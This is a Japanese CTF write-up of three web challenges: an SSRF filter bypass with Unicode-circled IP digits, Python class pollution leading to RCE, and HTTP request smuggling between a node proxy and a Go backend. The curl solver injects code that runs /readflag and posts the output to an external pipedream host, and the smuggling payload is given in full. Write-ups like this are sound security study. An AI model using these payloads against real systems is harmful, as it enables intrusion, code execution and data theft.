月曜日, 9月 1, 2025
月曜日, 9月 1, 2025
- Advertisment -
ホームニューステックニュースFull Weak Engineer CTF 2025 Writeup (webのみ)

Full Weak Engineer CTF 2025 Writeup (webのみ)


Full Weak Engineer CTF 2025にチームsknbで参加し、733チーム中2位でした。
1日目の夜にある程度と2日目の夜に少しだけ参加しており、web問は3問解いて1st blood, 2nd solve, 3rd solveが1つずつ。サイクルヒットみたいでかなり嬉しい。

[web, easy] AED (232 solves)

2nd Solve🥈
謎の文字列が表示されるWebページ。

app.get("/heartbeat", c => {
  const s = getSession(c.get("sid"))
  if (!pwned) {
    const char = DUMMY[Math.floor(Math.random() * DUMMY.length)]
    return c.json({ pwned: false, char })
  }
  if (s.idx === -1) s.idx = 0
  const pos = s.idx
  const char = FLAG[pos]
  s.idx = (s.idx + 1) % FLAG_LEN
  return c.json({ pwned: true, char, pos, len: FLAG_LEN })
})

app2.get("/toggle", c => {
  pwned = true
  sessions.forEach(s => (s.idx = -1))
  return c.text("OK")
})

app.get("/fetch", async c => {
  const raw = c.req.query("url")
  if (!raw) return c.text("missing url", 400)
  let u: URL
  try {
    u = new URL(raw)
  } catch {
    return c.text("bad url", 400)
  }
  if (!isAllowedURL(u)) return c.text("forbidden", 403)
  const r = await fetch(u.toString(), { redirect: "manual" }).catch(() => null)
  if (!r) return c.text("upstream error", 502)
  if (r.status >= 300 && r.status  400) return c.text("redirect blocked", 403)
  return c.text(await r.text())
})

/fetch経由でSSRFして/toggleを叩くことができればグローバル変数pwnedがtrueになり、この謎の文字列の代わりにflagが表示されるようになる。

しかし、urlには以下のような制約がある。

const isAllowedURL = (u: URL) => u.protocol === "http:" && !["localhost", "0.0.0.0", "127.0.0.1"].includes(u.hostname)

この制約を回避しつつ、http://localhost:4000/toggleを叩けるURLを探す。
hacktricksに載っているものを試していると、http://①②⑦.⓪.⓪.⓪が通った。

/fetch?url=http://①②⑦.⓪.⓪.⓪:4000/toggle

にアクセスし、トップページでflagが表示されるのを待てば良い。

fwectf{7h3_fu11_w34k_h34r7_l1v3d_4g41n}

[web, medium] Personal Website (11 solves)

3rd Solve🥉
自分のユーザー設定を変更することができるwebアプリ。サーバー内にreadflagという実行ファイルがあるので、それを実行すればflagが得られる。つまりRCEが必要。
ユーザーからのjsonをそのままmergeしているメソッドがある。明らかに怪しい。

    @staticmethod
    def merge_info(src, user, *, depth=0):
        if depth > 3:
            raise Exception("Reached maximum depth")
        for k, v in src.items():
            if hasattr(user, "__getitem__"):
                if user.get(k) and type(v) == dict:
                    User.merge_info(v, user.get(k),depth=depth+1)
                else:
                    user[k] = v
            elif hasattr(user, k) and type(v) == dict:
                User.merge_info(v, getattr(user, k),depth=depth+1)
            else:
                setattr(user, k, v)

pythonにもjavascriptのprototype pollution的なものがあったような気がして調べていると、チームメイトがclass pollutionの記事を教えてくれた。問題でもjinjaを使用しており、ものすごくこれっぽい。
depth の制約を無くしたローカル環境ではjinjaのキャッシュがない(過去に一度もアクセスしていない)時にこのpayloadがそのまま刺さることを確認したが、問題の本番環境ではどうにかしてこの制約を回避する必要がある。

ここで、__class__.merge_info.__kwdefaults__というメソッドの存在を知った。これは関数引数のデフォルト値を指しており、ここのdepthをものすごく小さい値に上書きすることができれば制約を回避して本命のpayloadを刺せる。そしてこれはdepth の制約下でも上書き可能。

最終的なsolverはこうなる。

COOKIE=cookie.txt
BASE=http://xxxxxxxx.chal2.fwectf.com:8006

curl -s -c "$COOKIE" -X POST "$BASE/register" -d 'username=a&password=a'
curl -s -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/login" -d 'username=a&password=a'

curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
  -d '{
    "__class__": {
      "merge_info": {
        "__kwdefaults__": { "depth": -1000000000 }
      }
    }
  }' "$BASE/api/config"

curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
  -d '{
    "__init__": {
      "__globals__": {
        "__loader__": {
          "__init__": {
            "__globals__": {
              "sys": {
                "modules": {
                  "jinja2": {
                    "runtime": {
                      "exported": [
                        "*;import urllib.request,urllib.parse,subprocess,base64;f=base64.b64encode(subprocess.check_output([\"/readflag\"])).decode();urllib.request.urlopen(\"https://xxxxxxxx.m.pipedream.net\",data=urllib.parse.urlencode({\"f\":f}).encode());#"
                      ]
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }' "$BASE/api/config"

これをjinjaのキャッシュがない(一度もアクセスしていない)本番環境に向けて実行した後このユーザーでログインすると、RCEが発火してflagが外部へ送信される。
fwectf{__m3R6e_H4_MAj1_Kik3N__be1ba703bb4b43d19c04500619afe377}

[web, medium] SotaFuji (1 solve✨)

1st Blood🩸
proxy(node製)とweb(go製)の二段構成になっており、webの/flagにアクセスできればそのままflagが得られるが、proxyを経由するため通常/にしかアクセスできない。

しかし、もしhttp request smugglingができれば/flagへもアクセスすることができる。よって、以下のようなhttp requestを送りたい。

GET / HTTP/1.1
Host: vuln

GET /flag HTTP/1.1
Host: vuln

しかし、proxy側ではvalidationが行われており、単純なsmugglingはできないように見える。

function validateAndGetContentLength(buffer, isRequest) {
  if (!isAllAscii(buffer)) {
    throw Error("Bad header");
  }
  const bufferStr = buffer.toString();
  const headerLines = bufferStr.split("\r\n");
  const firstLineSplitted = headerLines[0].split(" ");
  if (isRequest && firstLineSplitted[1] !== "https://zenn.dev/") {
    throw Error("Bad header");
  }
  if (!isRequest && headerLines[0] !== "HTTP/1.1 200 OK") {
    throw Error("Bad header");
  }
  const headers = new Map();
  for (let headerLine of headerLines.slice(1)) {
    const index = headerLine.indexOf(":");
    if (index === -1) {
      throw Error("Bad header");
    }
    const k = headerLine.slice(0, index);
    const v = headerLine.slice(index + 1);
    headers.set(k.trim().toLowerCase(), v.trim());
  }
  if (headers.has("transfer-encoding")) {
    throw Error("Bad header");
  }
  return parseInt(headers.get("content-length") ?? "0");
}

ここで、nodeとgoの挙動差を利用する。nodeでは\r\nをhttp requestの改行として処理する実装になっているが、goのnet/httpでは\nもhttp requestの改行として処理する。
よって、http requestの改行を\nでpayloadを構築するとproxy側で最初の行のHTTP/1.1以降が無視され、http request smugglingが成立する。

しかし、このままではnode側は当然1リクエストとして処理するため、2リクエスト目にあたる/flagのレスポンスが破棄されてしまう。
これに対しては、1リクエスト目をHEADメソッドにすることでsmuggledされた不正なcontent-length分のレスポンス(2リクエスト目のwebからのレスポンスを含む)を返すようになり、flagが得られた。

よって、以下のpayloadをsocketで送ればflagが得られる。(完全なsolverは諸事情により非公開)

payload = (
    "HEAD / HTTP/1.1\n"
    "Host: vuln\n"
    "\n"
    "GET /flag HTTP/1.1\n"
    "Host: vuln\n"
    "\n"
    "\r\n\r\n"
).encode("ascii")

fwectf{pr0_sh0G1_Ki5hI_N07_g0_kI5H1}

さすがt-chenさんという感じで手ごたえのある問題が多く、とても楽しかったです。あまり時間が取れずhard問はノータッチになってしまいましたが、ちゃんと復習します。
あとは自分語りになってしまいますが、最近はある程度の難易度の問題を解く速度が上がってきてDiscordのsolveチャンネルでメダルの絵文字を見ることが増えてきました。CTF楽しいです。



Source link

Views: 0

RELATED ARTICLES

返事を書く

あなたのコメントを入力してください。
ここにあなたの名前を入力してください

- Advertisment -